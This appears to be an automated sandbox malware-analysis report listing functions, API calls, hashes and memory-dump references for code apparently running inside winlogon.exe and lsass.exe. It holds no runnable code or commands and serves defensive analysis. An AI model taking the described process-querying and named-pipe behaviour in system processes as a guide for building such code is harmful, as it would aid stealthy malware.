Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: d06f1d6a4c4548bdff1e7c612d8bf8de8a9f368b65ed0bfbfd455b76740dd300
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 30511637A8878841F626CE26A454BEA7751FF84789FC60025ED4973B89DA37C406C7C3

Function 000001CA7D2125DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D2126C2
StrCpyW.SHLWAPI ref: 000001CA7D2126D9

Strings

\\.\pipe\, xrefs: 000001CA7D2126CD

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 1df65754e96209d10ce77b496f8102a845f38ec8baad36118dacfef27c9bbe4a
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: B8511537A84389C1FA268E25A455BEB7751FF84788F948229ED4903B89DA37C403C7C3

Function 000001CA7D1E25DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D1E26C2
StrCpyW.SHLWAPI ref: 000001CA7D1E26D9

Strings

\\.\pipe\, xrefs: 000001CA7D1E26CD

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 543a74f7f096710a94370db433aa404daddb7db03a989235164fc2747e9da801
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 9C513837E8479841F626CE25A464BEA7791FBA8B89FD40069DD4943B89DE37C500C7C3

Function 000001CA7D2A2660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001CA7D2A2778
GetLastError.KERNEL32 ref: 000001CA7D2A279D

Strings

U, xrefs: 000001CA7D2A2722

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 2c1d7f038cfc8afa535b49b84af1afe38805e8b2e7a7ce4dff7cd2b815606423
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: E1410973A15B8886F751CF25E804BDAB7A0FB88788F844021EE4D9B744EB39C502C7C2

Function 000001CA7D222660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001CA7D222778
GetLastError.KERNEL32 ref: 000001CA7D22279D

Strings

U, xrefs: 000001CA7D222722

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: d46591c1412a96a10cecd863ef609a76f42ec2867853ab4bfb7008d3bc80fece
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 7341C633A1578886F7218F25E444BDAB7A4FB58788F854121FA4D87754EB3AD402C7C6

Function 000001CA7D1F2660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001CA7D1F2778
GetLastError.KERNEL32 ref: 000001CA7D1F279D

Strings

U, xrefs: 000001CA7D1F2722

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 168bd5042619de978051ce00469c6fab8e07dcb428ef58c1d872ee4ec8472086
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: A741F633A16B8886F711DF65E404BD9B7A0FB98798FC04121EE8D87758EB39C441CB82

Function 000001CA7D299178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001CA7D2991C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000001CA7D2987F7), ref: 000001CA7D299209

Strings

csm, xrefs: 000001CA7D2991F6

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 4851d813fab70bc34ea02260f48b8835ec91dfadefddb3b7f09ec63637b0023d
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: B9115E32614B4482EB218B15F40468A77E5FBC8B98FA84224EE8D07B58DF3DC552CB81

Function 000001CA7D219178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001CA7D2191C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000001CA7D2187F7), ref: 000001CA7D219209

Strings

csm, xrefs: 000001CA7D2191F6

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 517ae6d43ddc074c8658f2a788c9059df09fd0698180bc9205b6b9a099bd701b
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: 34116033614B4482EB228F15F40469977E5FB88B98FA88224EE8D07754DF3EC552CB81

Function 000001CA7D1E9178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001CA7D1E91C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000001CA7D1E87F7), ref: 000001CA7D1E9209

Strings

csm, xrefs: 000001CA7D1E91F6

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 2c9b86ec9324a70017c97faafd6a1d8197db821130e30e04182a7cd2d4a5eeb9
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: 4E116D73615B8482FB228F15F404689B7E1FB88B98F984220EE8D47B64DF3DC551CB42

Function 000001CA7D291D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D291D69
HeapAlloc.KERNEL32 ref: 000001CA7D291D77
GetProcessHeap.KERNEL32 ref: 000001CA7D291D9C
HeapFree.KERNEL32 ref: 000001CA7D291DAA

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: 6f79bdca26009a9ee4067a207548d913ca885e6906045b0f798edfce7c91817a
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: B311A132F41B8885FA16CB67A40459A77A0FBC8FC5F984028DE4E57724DF3AC4438382

Function 000001CA7D211D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D211D69
HeapAlloc.KERNEL32 ref: 000001CA7D211D77
GetProcessHeap.KERNEL32 ref: 000001CA7D211D9C
HeapFree.KERNEL32 ref: 000001CA7D211DAA

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: 94fdc9e09a08f213f1bc6ccc5a98238e785e2224b4f0dd50957134c3d91f74e5
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: A011A132F01B8881FA16CB66A40959977A0FBC9FD4F998128DE4E53724DF3AD4438386

Function 000001CA7D1E1D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E1D69
HeapAlloc.KERNEL32 ref: 000001CA7D1E1D77
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1D9C
HeapFree.KERNEL32 ref: 000001CA7D1E1DAA

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: e1af4d63e573468e5d58cd1c053f447371db77335f721c67b8fdd4aa0972600e
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 3D11A132E05B8881FB16CB66E40899977B0FB88FC5F994024DE4E53764DF39D5828341

Function 000001CA7D291264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D29126A
HeapAlloc.KERNEL32 ref: 000001CA7D291279
GetProcessHeap.KERNEL32 ref: 000001CA7D291293
HeapAlloc.KERNEL32 ref: 000001CA7D2912A4

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 32f83ff9894d743aa2ecb00ca60260912a8aebc8456aa75ed97ca70b7629fe4d
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: A1E03032A416089AF7158B52D80879A36E1FBC8B09F848014CD090B350DF7EC49A87C2

Function 000001CA7D211264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D21126A
HeapAlloc.KERNEL32 ref: 000001CA7D211279
GetProcessHeap.KERNEL32 ref: 000001CA7D211293
HeapAlloc.KERNEL32 ref: 000001CA7D2112A4

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 839ec4f0ffbd96bf49ac46d9521be995a92d04ba0fb748254b619ef769a1f32e
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: 0CE03932A416089AF7158B62D80979936E1FB88B19FC6C024C90907350EF7ED49A87C2

Function 000001CA7D1E1264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E126A
HeapAlloc.KERNEL32 ref: 000001CA7D1E1279
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1293
HeapAlloc.KERNEL32 ref: 000001CA7D1E12A4

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 8e9949c7d491d186b10d6f9a7e37656757b2784cb481f8207ee02abd3ddac45a
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: C8E06572A427089AF715CF52D81878936E1FF88F0AF85C014C90907350DF7ED5998782

Function 000001CA7D291000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D291006
HeapAlloc.KERNEL32 ref: 000001CA7D291015
GetProcessHeap.KERNEL32 ref: 000001CA7D291028
HeapAlloc.KERNEL32 ref: 000001CA7D291037

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: b65b3539fbd709d3eb2ea5f55c358f6cc5828dd715b3526b499a0208b2522084
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: F4E0ED72A51608AAF7199B62D8046AA76A1FFC8B19F848024CD090B310EE3D849A9792

Function 000001CA7D211000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D211006
HeapAlloc.KERNEL32 ref: 000001CA7D211015
GetProcessHeap.KERNEL32 ref: 000001CA7D211028
HeapAlloc.KERNEL32 ref: 000001CA7D211037

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 4bb58136d852c2a653d8a036cd639210b1baa135ea19a913abf8e9fecaf76bee
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: BCE06D72A516089AF7198B22D80969832A1FF88B19FC5C020C90907310EE3D949A9692

Function 000001CA7D1E1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E1006
HeapAlloc.KERNEL32 ref: 000001CA7D1E1015
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1028
HeapAlloc.KERNEL32 ref: 000001CA7D1E1037

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 44117e496ed412bfeff2ee36783a986e767d656568b4863f217f146fa26acdf1
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 69E092B2A526089BF719CF22DC1478836E1FF8CF0AF858020C90907350EE3DD598D752

Analysis Process: lsass.exePID: 632, Parent PID: 7680COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1404
Total number of Limit Nodes:	3

Executed Functions

Function 0000017D2DD52300 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 0000017D2DD5232B
StrCmpNIW.SHLWAPI ref: 0000017D2DD5239A

Part of subcall function 0000017D2DD535C8: GetProcessHeap.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD535EB
Part of subcall function 0000017D2DD535C8: HeapAlloc.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD535FE
Part of subcall function 0000017D2DD535C8: StrCmpNIW.SHLWAPI(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD53673
Part of subcall function 0000017D2DD535C8: GetProcessHeap.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD536D9
Part of subcall function 0000017D2DD535C8: HeapFree.KERNEL32(?,?,?,?,?,0000017D2DD524D1), ref: 0000017D2DD536E7

Strings

S, xrefs: 0000017D2DD524BB
